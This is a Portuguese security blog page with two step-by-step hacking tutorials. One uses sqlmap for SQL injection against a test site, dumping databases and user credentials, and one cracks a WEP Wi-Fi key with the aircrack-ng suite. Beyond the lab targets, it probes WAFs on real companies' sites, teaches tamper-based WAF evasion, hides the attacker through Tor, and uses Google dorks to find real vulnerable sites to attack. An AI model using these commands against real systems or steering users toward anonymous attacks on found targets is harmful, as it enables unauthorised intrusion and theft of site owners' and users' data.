Téchne Digitus InfoSec Artigos

<índice "[ Hacking ]-[ Redes de Comunicação ]-[ DeepWeb ]-[ Anonimato ]-[ Criptomoedas ]-[ Programação ]-[ InfoSec em Geral ]-[ Off-Topic but Important ]-[ Redes Sociais ]" />

Mostrando postagens com marcador pentest. Mostrar todas as postagens
Mostrando postagens com marcador pentest. Mostrar todas as postagens
Logo Téchne Digitus InfoSec

Invadindo Sites com SQLMAP

SQLMAP Um Guia Completo Passo a Passo


Introdução e Objetivo


O objetivo deste artigo é ser um tutorial básico, prático e simples para ensinar como utilizar a ferramenta SQLMAP para explorar vulnerabilidades de SQL Injection em aplicações web (ou websites).

SQL Injection é uma classe de vulnerabilidade que através de requisições get ou post acrescidos de parâmetros de queries, podemos obter informações do banco de dados da aplicação que está sendo invadida.

SQLMAP é uma ferramenta opensource, gratuita que através de parâmetros específicos, apresentados neste artigo, testa de várias formas diferentes um determinado alvo para descobrir se está ou não vulnerável e, caso estiver, permite com o uso de alguns outros parâmetros nativos da ferramenta, possamos de forma simples obter informações do banco de dados.


Instalação do sqlmap em um Linux

Debian-Like Comando: apt install sqlmap
Red Hat-Like Comando: yum install sqlmap


Apresentação dos parâmetros básicos

sqlmap -u "endereço_do_site" --threads=10 -o --batch --level=5 --risk=3

sqlmap - é o comando

-u "endereço_do_site" é a URL que testaremos o ataque. Ela pode conter um parâmetro que iremos explorar, por exemplo: "?cat=1" ou então um fomulário.

--threads=10 é um parâmetro que utilizar 10 processos do sqlmap simultaneamente para aumentar a performance do teste. Em casos onde o ataque deve ser silencioso ou o alvo seja sensível e possa ser impactado, pode ser que este parâmetro não deva ser utilizado. Mas de uma forma geral recomendo a sua utilização para ganho de tempo.

-o é outro parâmetro do sqlmap que visa otimizar a conexão com o alvo.

--batch é um parâmetro que automatiza um "Sim" para as perguntas básicas do wizard de teste do sqlmap.

--level=5 é um parâmetro que amplia os pontos de injeção que o sqlmap irá testar o ataque, ou seja, irá testar em parâmetros de cookies, headers, entre outros.

--risk=3 é um parâmetro que utiliza queries mais extensas e complexas.


Teste dos Parâmetros Básicos


A partir desse ponto você já sabe o básico! Existe um site liberado para testes da empresa Acunetix que é feito para testar ataques... Então teste o que você aprendeu!

Execute o seguinte comando e observe os resultados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch --level=5 --risk=3

SQLMAP - Teste Básico Resultado - Téchne Digitus


Conclusão do Teste dos Parâmetros Básicos

Observando o output do teste descobrimos o seguinte:

- O parâmetro cat é vulnerável a 4 tipos de técnicas: boolean-based blind, error-based, AND/OR time-based blind, UNION query.
- O banco de dados identificado é o MySQL
- O webserver é um Nginx e utiliza PHP 5.3.10
- Não tinha um WAF protegendo o alvo

Com essas informações, poderíamos até ter feito um teste muito mais simples e rápido para conseguir invadir esse site! Como?

1. Removendo as opções --level=5, --risk=3.
2. Testando somente ataques de injection para MySQL
3. Poderíamos até testar um tipo de ataque, o error-based. Que é o mais trivial e rápido.
4. Foque o teste somente no parâmetro cat.

Sendo assim, vamos testar!

1. Limpe o SQLMAP com o comando:
sqlmap --purge

Assim poderemos retestar o alvo sem que o sqlmap leve em consideração testes anteriores.

2. Veja o comando enxuto:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat
--technique=e --dbms=MySQL --skip-waf

-p cat testa somente o parâmetro cat

--technique=e testa somente injections para a técnica error-based

--dbms=MySQL testa somente injections para MySQL

--skip-waf ignora o teste de WAF
Teste do Comando Enxuto - SQLMAP - Téchne Digitus


Teste de Obtenção de Dados do Banco de Dados


Uma vez que verificamos que o site é explorável com SQL Injection, vamos obter informações dos bancos de dados.


1. Descobrindo os bancos de dados:


sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf --dbs


Acrescentando o parâmetro --dbs obtemos quais os bancos de dados disponíveis neste alvo.
Conforme podemos observar na imagem abaixo, encontramos dois bancos de dados: acuart e information_schema.


Descobrindo os Bancos de Dados SQLMAP - Téchne Digitus


2. Obtendo as tabelas o banco:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables

O banco que nos interessa é o acuart. Então usamos o parâmetro -D acuart para obter os dados deste banco específico e então, utilizamos o parâmetro --tables para obter as tabelas deste banco.

Obtendo Tabelas com SQLMAP - Téchne Digitus

3. Obtendo os dados que nos interessam

3.1. Obtendo ("roubando") todo o banco de dados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables --dump-all

Obtendo todo o banco de dados SQLMAP Téchne Digitus

Adicionando o parâmetro --dump-all obtemos todo o banco de dados que foi salvo (no meu caso) no diretório: /home/user/.sqlmap/output/testphp.vulnweb.com/dump/acuart/

Dump SQLMAP Téchne Digitus

3.2. Visualizando quais os campos específicos de uma tabela que nos interesse:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users --columns

Neste caso, a tabela que me interessou foi "users". Então usei -T users para escolher essa tabela no comando e --columns para obter o campos dessa tabela.

Obtendo Campos da Tabela User SQLMAP Téchne Digitus

3.3. Obtendo o conteúdo dos campos que nos interessam:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users -C uname,pass --dump

-C uname,pass --dump pedimos para que ele busque o conteúdo dos campos uname e pass (que seriam username e senha). Nesse alvo de teste, infelizmente o resultado é sem graça... rs

Uname e Pass SQLMAP Téchne Digitus

Testes Avançados

A partir de agora, iremos para a "pancadaria"!
Nas próximas sessões veremos outros tipos de testes importantes.
Tudo que vimos até agora foi o teste mais básico, mas muitas vezes não temos um parâmetro, temos somente um formulário de login. Queries simples podem não funcionar pois a vulnerabilidade pode estar escondida atrás de um WAF, uma aplicação web com alguma sanitização, validação de dados ou alguma configuração que faça com que o caminho para o injection não seja tão óbvio... Mas nem por isso ele não seja penetrável... O segredo do hacking é tentar de múltiplas formas diferentes até acharmos a forma certa!

Identificando o WAF

Com o parâmetro --identify-waf vamos identificar se existe um WAF no alvo e qual seria ele...

Vamos observar em três exemplos diferentes:

sqlmap -u "https://www.technedigitus.com" --identify-waf
Cloudflare - WAF- SQLMAP Téchne Digitus
Aqui temos o WAF do CloudFlare

sqlmap -u "https://www.uol.com.br" --identify-waf
CloudFront AWS - WAF - SQLMAP Téchne Digitus
Aqui temos o WAF CloudFront da AWS
sqlmap -u "https://www.symantec.com" --identify-waf
Akamai WAF - SQLMAP Téchne Digitus
Aqui temos o WAF da Akamai

sqlmap -u "http://testphp.vulnweb.com/" --identify-waf
Alvo sem WAF - SQLMAP Téchne Digitus
Aqui não temos WAF
Contornando o WAF

Isso não é simples, depende de um pouco de sorte e técnica misturados...
Mas veremos algumas parâmetros interessantes:

--random-agent Ele altera o agente web do teste, simulando um browser qualquer. Muitas vezes o WAF pode identificar que o ataque vem do SQLMAP e aplicar um bloqueio. Se simulamos um browser normal, temos chances de contorná-lo.

--tamper=nome_do_tamper Esse parâmetro permite que apliquemos encodes dos mais variáveis nos comandos de injection do SQLMAP.

Não é recomendável usar mais de três tipos de tamper em um ataque. E para cada tipo de banco de dados existem técnicas de tamper diferentes.

Em um teste de invasão insistente, devemos tentar múltiplas combinações. Isso não é fácil, requer tempo.

No link a seguir, temos uma referência bem completa dos tampers disponíveis e suas aplicações: https://securityonline.info/sqlmap-tamper-script-bypassing-waf/

No geral, recomendo dois tipos de teste com tampers.

Teste de Tamper Básico:

--tamper=space2comment é um tamper para múltiplos bancos de dados. Ele substitui espaços em branco da query de ataque por / ** /

--tamper=between,randomcase,space2comment é uma "combinação ninja" para alvos com MySQL. Recomendo.

--hex  é uma forma de tratar dados do banco de dados quando não estão ASCII. Tentar todas as combinações anteriores com e sem o --hex.

--no-cast é uma forma de tratar todo o comando do injection com caráteres string (espaços como "NULL"). Em alguns casos pode ser necessário e outros pode atrapalhar totalmente o injection. Não pode ser usado junto com o --hex. Também é sugerido testar todas as técnicas anteriores com e sem o --no-cast.


Injetando em Formulários


Formulário - SQLMAP - Téchne Digitus
Formulário para testar a injeção

Muitas vezes temos um formulário de login (ou até mesmo um campo de busca) em um site que não
existe na URL um parâmetro que possa ser injetado. Para injetar em um formulário, basta usarmos o parâmetro --forms. Teste com o exemplo abaixo:
sqlmap -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch

SQLMAP --forms Atack - Téchne Digitus

Realizando Testes Anônimos


Para atacarmos um alvo de forma anonimizada, ou seja, ocultando a nossa origem (escondendo meu IP pessoal), podemos utilizar o Tor.
Debian-Like Comando: apt install tor
Red Hat-Like Comando: yum install tor


Utilizando o Tor com o SQLMAP

sqlmap --tor --check-tor -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch --time-sec=15 --timeout=45 --retries=4

--tor ativa o Tor

--check-tor verifica se o Tor está sendo utilizado com sucesso. Para verificar, busque a seguinte linha no output: [INFO] Tor is properly being used

Como o Tor torna a conexão mais lenta e passível a erros ocasionados por diversas degradações que afetam banda e latência, recomendo o uso de alguns parâmetros adicionais para tornar a operação mais resiliente a falhas devido a conexões degradadas:

--time-sec=15 o padrão é 5, tempo de espera para resposta do banco de dados.

--timeout=45 o padrão é 30, tempo de espera antes de considerar uma conexão como perdida ou encerrada.

--retries=4 o padrão é 3, número de tentativas em caso de falha de uma conexão.

Tor com SQLMAP Téchne Digitus

Google Dorks


Para encontramos alvos para testes ÉTICOS E ANONIMIZADOS, podemos buscar no Google utilizando strings como "php?produto=", "php?id=", "php?item", "php?num=" mais algumas outras palavras para achar alvos em algum contexto, por exemplo: livros, roupas, loja, etc.
Google Dork Téchne Digitus
Exemplo de Google Dork


Conclusão


Neste artigo aprendemos como explorar vulnerabilidades de SQL Injection utilizando SQLMAP. Vimos técnicas básicas e "técnicas de guerra" mais avançadas para alvos hardenizados, como fazer isso de forma anônima e, por fim, como encontrar alvos para serem testados.
Logo Téchne Digitus InfoSec

Laboratório: Quebrando uma Chave WEP - Invadindo uma Rede Sem Fio

Quebrando uma Chave WEP

Laboratório TéchneDigitus
Pen Test 01: Quebrando uma Chave WEP
Tipo: Invadindo Redes Wifi

Pré-Requisitos:

Em uma máquina virtual, executar a distribuição LIVE do Kali Linux.
Material Utilizado para Este Lab:

Hardware:
- Notebook (ex.: Processador I5, RAM: 16GB)
- Roteador Wifi (ex.: RE024 da Multilaser)
- Interface de Rede USB (ex.: DWA-125 da D-Link)

Software:
- Sistema Operacional do Notebook: Windows 8.1
- Software de Virtualização: VMware Workstation 11
- Sistema Operacional Virtualizado: Kali Linux 1.1.0 versão Live

Foto do material utilizado neste lab

Procedimento Preparatório:

(considerando que o VMware já está instalado, a ISO do Kali já está disponível no HD do Notebook e no roteador já existe uma rede wifi com chave WEP configurada)
a) Abrir o VMware e criar uma máquina virtual para subir a versão Live do Kali, com 1 Processador, 2 Núcleos, 5 GB de RAM.
b) Plugar a interface de rede wifi usb
c) Inicializar o Kali

Vamos ao Lab...

Laboratório: Quebrando uma Chave WEP

1) Abra o terminal e dê um ifconfig. Verifique a sua interface USB foi encontrada pelo Kali.

Passo 1 - Imagem
2) Digite: airmon-ng start wlan0//Se a sua interface de rede estiver com outro nome, digite-o no lugar de wlan0.

Passo 2 - Imagem

3) No meu exemplo, o output informou que existem 3 processos 3672, 4168 e 4493 que podem atrapalhar o lab. Sendo assim, utilizando os comandos kill 3672, kill 4168 e kill 4493, derrubamos os processos desejados. (Note também que o processo 4493 devia estar amarrado a um dos outros dois processos. Quando matei-os, matei o terceiro junto.)

Passo 3 - Imagem
4) Digite agora airodump-ng -i mon0 e anote o número do canal e, o MACdo AP.

Passo 4 - Imagem
5) Digite agora: airodump-ng --ivs -w dados --channel 13 --bssid C8:3A:35:09:D7:28 mon0

Neste momento, o Kali está coletando e salvando em um arquivo dados-01.ivs, os dados necessários para rodar o algoritmo de quebra da WEP.

Para que ele faça a coleta de dados é necessário que pacotes dessa rede wifi alvo estejam transitando pela rede. Isto é, a rede precisa estar em utilização.

Passo 5 - Imagem

Passo 6) Gerar tráfego para coletar dados...

Formas de Gerar Tráfego:

- Em meu caso, conectei a placa a interface WAN do meu AP num cabo com Internet e conectei outro PC na rede Wifi do Lab para navegar na internet e gerar dados para a coleta. Mas essa forma só é possível devido a nós sermos detentores dos equipamentos nos quais estamos testando.

(A) - Abra um novo terminal e digite aireplay-ng -1 0 -e TechneDigitus_Lab -a C8:3A:35:09:D7:28 -h 00:26:5A:6F:9E:CC mon0

Atenção, substituir:

TechneDigitus_Lab - Pelo SSID (nome da rede wifih) da rede que você está tentando invadir
C8:3A:35:09:D7:28 - Pelo endereço MAC do AP que você está tentando invadir
00:26:5A:6F:9E:CC - Pelo endereço MAC da sua placa de rede usb

Passo 6 - A - Imagem
(B) - Agora digite aireplay-ng -3 -b C8:3A:35:09:D7:28 -h 00:26:5A:6F:9E:CC mon0 e deixe rodando até que você, na outra tela de terminal, consiga obter a chave WEB conforme o próximo passo.

Atenção, substituir:

C8:3A:35:09:D7:28 - Pelo MAC do AP que está tentando invadir
00:26:5A:6F:9E:CC - Pelo MAC da sua placa de rede usb

Passo 6 - B - Imagem
7) Até este momento, devemos ter chego até este passo com 2 janelas de terminais abertas e coma um comando rodando. Uma para o comando do passo 5 e outra para o comando do passo 6B.
Agora, para o passo 7, abriremos uma nova janela de terminal e digitaremos primeiro ls para confirmar o nome do arquivo onde estão sendo gravados os dados capturados pelo passo 5. E, por fim:
aircrack-ng -a 1 dados-01.ivs

Passo 7 - Imagem
E pronto! Conforme podemos ver na imagem, a chave WEP foi descriptografada corretamente e a senha era: [email protected]

---

Para saber mais:

Invadindo Sites com SQLMAP
- 5 Serviços de E-mail Anônimo e/ou Seguro Gratuitos
- Dica: Sessões Ativas no Facebook - Como gerenciá-las
- Remover Telemetria e Mensagem de Instalação do Windows 10 nos Windows 7/8